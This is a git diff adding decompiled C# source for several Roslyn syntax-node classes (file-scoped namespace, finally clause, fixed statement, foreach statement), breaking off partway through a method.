+} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FileScopedNamespaceDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FileScopedNamespaceDeclarationSyntax.cs new file mode 100644 index 0000000..22d8025 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FileScopedNamespaceDeclarationSyntax.cs @@ -0,0 +1,327 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FileScopedNamespaceDeclarationSyntax : BaseNamespaceDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private NameSyntax? name; + + private SyntaxNode? externs; + + private SyntaxNode? usings; + + private SyntaxNode? members; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override SyntaxToken NamespaceKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FileScopedNamespaceDeclarationSyntax)(object)((SyntaxNode)this).Green).namespaceKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override NameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 3); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FileScopedNamespaceDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public override SyntaxList Externs => new SyntaxList(((SyntaxNode)this).GetRed(ref externs, 5)); + + public override SyntaxList Usings => new SyntaxList(((SyntaxNode)this).GetRed(ref usings, 6)); + + public override SyntaxList Members => new SyntaxList(((SyntaxNode)this).GetRed(ref members, 7)); + + internal FileScopedNamespaceDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref name, 3), + 5 => ((SyntaxNode)this).GetRed(ref externs, 5), + 6 => ((SyntaxNode)this).GetRed(ref usings, 6), + 7 => ((SyntaxNode)this).GetRed(ref members, 7), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => name, + 5 => externs, + 6 => usings, + 7 => members, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFileScopedNamespaceDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFileScopedNamespaceDeclaration(this); + } + + public FileScopedNamespaceDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken semicolonToken, SyntaxList externs, SyntaxList usings, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || namespaceKeyword != NamespaceKeyword || name != Name || semicolonToken != SemicolonToken || externs != Externs || usings != Usings || members != Members) + { + FileScopedNamespaceDeclarationSyntax fileScopedNamespaceDeclarationSyntax = SyntaxFactory.FileScopedNamespaceDeclaration(attributeLists, modifiers, namespaceKeyword, name, semicolonToken, externs, usings, members); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return fileScopedNamespaceDeclarationSyntax; + } + return fileScopedNamespaceDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new FileScopedNamespaceDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, NamespaceKeyword, Name, SemicolonToken, Externs, Usings, Members); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new FileScopedNamespaceDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, NamespaceKeyword, Name, SemicolonToken, Externs, Usings, Members); + } + + internal override BaseNamespaceDeclarationSyntax WithNamespaceKeywordCore(SyntaxToken namespaceKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithNamespaceKeyword(namespaceKeyword); + } + + public new FileScopedNamespaceDeclarationSyntax WithNamespaceKeyword(SyntaxToken namespaceKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, namespaceKeyword, Name, SemicolonToken, Externs, Usings, Members); + } + + internal override BaseNamespaceDeclarationSyntax WithNameCore(NameSyntax name) + { + return WithName(name); + } + + public new FileScopedNamespaceDeclarationSyntax WithName(NameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, name, SemicolonToken, Externs, Usings, Members); + } + + public FileScopedNamespaceDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, semicolonToken, Externs, Usings, Members); + } + + internal override BaseNamespaceDeclarationSyntax WithExternsCore(SyntaxList externs) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithExterns(externs); + } + + public new FileScopedNamespaceDeclarationSyntax WithExterns(SyntaxList externs) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, SemicolonToken, externs, Usings, Members); + } + + internal override BaseNamespaceDeclarationSyntax WithUsingsCore(SyntaxList usings) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithUsings(usings); + } + + public new FileScopedNamespaceDeclarationSyntax WithUsings(SyntaxList usings) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, SemicolonToken, Externs, usings, Members); + } + + internal override BaseNamespaceDeclarationSyntax WithMembersCore(SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(members); + } + + public new FileScopedNamespaceDeclarationSyntax WithMembers(SyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, NamespaceKeyword, Name, SemicolonToken, Externs, Usings, members); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new FileScopedNamespaceDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new FileScopedNamespaceDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseNamespaceDeclarationSyntax AddExternsCore(params ExternAliasDirectiveSyntax[] items) + { + return AddExterns(items); + } + + public new FileScopedNamespaceDeclarationSyntax AddExterns(params ExternAliasDirectiveSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithExterns(Externs.AddRange((IEnumerable)items)); + } + + internal override BaseNamespaceDeclarationSyntax AddUsingsCore(params UsingDirectiveSyntax[] items) + { + return AddUsings(items); + } + + public new FileScopedNamespaceDeclarationSyntax AddUsings(params UsingDirectiveSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithUsings(Usings.AddRange((IEnumerable)items)); + } + + internal override BaseNamespaceDeclarationSyntax AddMembersCore(params MemberDeclarationSyntax[] items) + { + return AddMembers(items); + } + + public new FileScopedNamespaceDeclarationSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(Members.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FinallyClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FinallyClauseSyntax.cs new file mode 100644 index 0000000..a4984ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FinallyClauseSyntax.cs @@ -0,0 +1,92 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FinallyClauseSyntax : CSharpSyntaxNode +{ + private BlockSyntax? block; + + public SyntaxToken FinallyKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FinallyClauseSyntax)(object)((SyntaxNode)this).Green).finallyKeyword, ((SyntaxNode)this).Position, 0); + + public BlockSyntax Block => ((SyntaxNode)this).GetRed(ref block, 1); + + internal FinallyClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref block, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)block; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFinallyClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFinallyClause(this); + } + + public FinallyClauseSyntax Update(SyntaxToken finallyKeyword, BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (finallyKeyword != FinallyKeyword || block != Block) + { + FinallyClauseSyntax finallyClauseSyntax = SyntaxFactory.FinallyClause(finallyKeyword, block); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return finallyClauseSyntax; + } + return finallyClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public FinallyClauseSyntax WithFinallyKeyword(SyntaxToken finallyKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(finallyKeyword, Block); + } + + public FinallyClauseSyntax WithBlock(BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(FinallyKeyword, block); + } + + public FinallyClauseSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithAttributeLists(Block.AttributeLists.AddRange((IEnumerable)items))); + } + + public FinallyClauseSyntax AddBlockStatements(params StatementSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithStatements(Block.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FixedStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FixedStatementSyntax.cs new file mode 100644 index 0000000..330b3ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FixedStatementSyntax.cs @@ -0,0 +1,179 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FixedStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private VariableDeclarationSyntax? declaration; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken FixedKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FixedStatementSyntax)(object)((SyntaxNode)this).Green).fixedKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FixedStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public VariableDeclarationSyntax Declaration => ((SyntaxNode)this).GetRed(ref declaration, 3); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FixedStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 5); + + public FixedStatementSyntax Update(SyntaxToken fixedKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, fixedKeyword, openParenToken, declaration, closeParenToken, statement); + } + + internal FixedStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref declaration, 3), + 5 => ((SyntaxNode)this).GetRed(ref statement, 5), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => declaration, + 5 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFixedStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFixedStatement(this); + } + + public FixedStatementSyntax Update(SyntaxList attributeLists, SyntaxToken fixedKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || fixedKeyword != FixedKeyword || openParenToken != OpenParenToken || declaration != Declaration || closeParenToken != CloseParenToken || statement != Statement) + { + FixedStatementSyntax fixedStatementSyntax = SyntaxFactory.FixedStatement(attributeLists, fixedKeyword, openParenToken, declaration, closeParenToken, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return fixedStatementSyntax; + } + return fixedStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new FixedStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, FixedKeyword, OpenParenToken, Declaration, CloseParenToken, Statement); + } + + public FixedStatementSyntax WithFixedKeyword(SyntaxToken fixedKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, fixedKeyword, OpenParenToken, Declaration, CloseParenToken, Statement); + } + + public FixedStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, FixedKeyword, openParenToken, Declaration, CloseParenToken, Statement); + } + + public FixedStatementSyntax WithDeclaration(VariableDeclarationSyntax declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, FixedKeyword, OpenParenToken, declaration, CloseParenToken, Statement); + } + + public FixedStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, FixedKeyword, OpenParenToken, Declaration, closeParenToken, Statement); + } + + public FixedStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, FixedKeyword, OpenParenToken, Declaration, CloseParenToken, statement); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new FixedStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public FixedStatementSyntax AddDeclarationVariables(params VariableDeclaratorSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithDeclaration(Declaration.WithVariables(Declaration.Variables.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForEachStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForEachStatementSyntax.cs new file mode 100644 index 0000000..33a1ec8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ForEachStatementSyntax.cs @@ -0,0 +1,326 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ForEachStatementSyntax : CommonForEachStatementSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? type; + + private ExpressionSyntax? expression; + + private StatementSyntax? statement; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxToken AwaitKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken awaitKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachStatementSyntax)(object)((SyntaxNode)this).Green).awaitKeyword; + if (awaitKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)awaitKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override SyntaxToken ForEachKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachStatementSyntax)(object)((SyntaxNode)this).Green).forEachKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 4); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachStatementSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public override SyntaxToken InKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachStatementSyntax)(object)((SyntaxNode)this).Green).inKeyword, ((SyntaxNode)this).GetChildPosition(6), ((SyntaxNode)this).GetChildIndex(6)); + + public override ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 7); + + public override SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ForEachStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + + public override StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 9); + + public ForEachStatementSyntax Update(SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return Update(AwaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement); + } + + public ForEachStatementSyntax Update(SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0002: 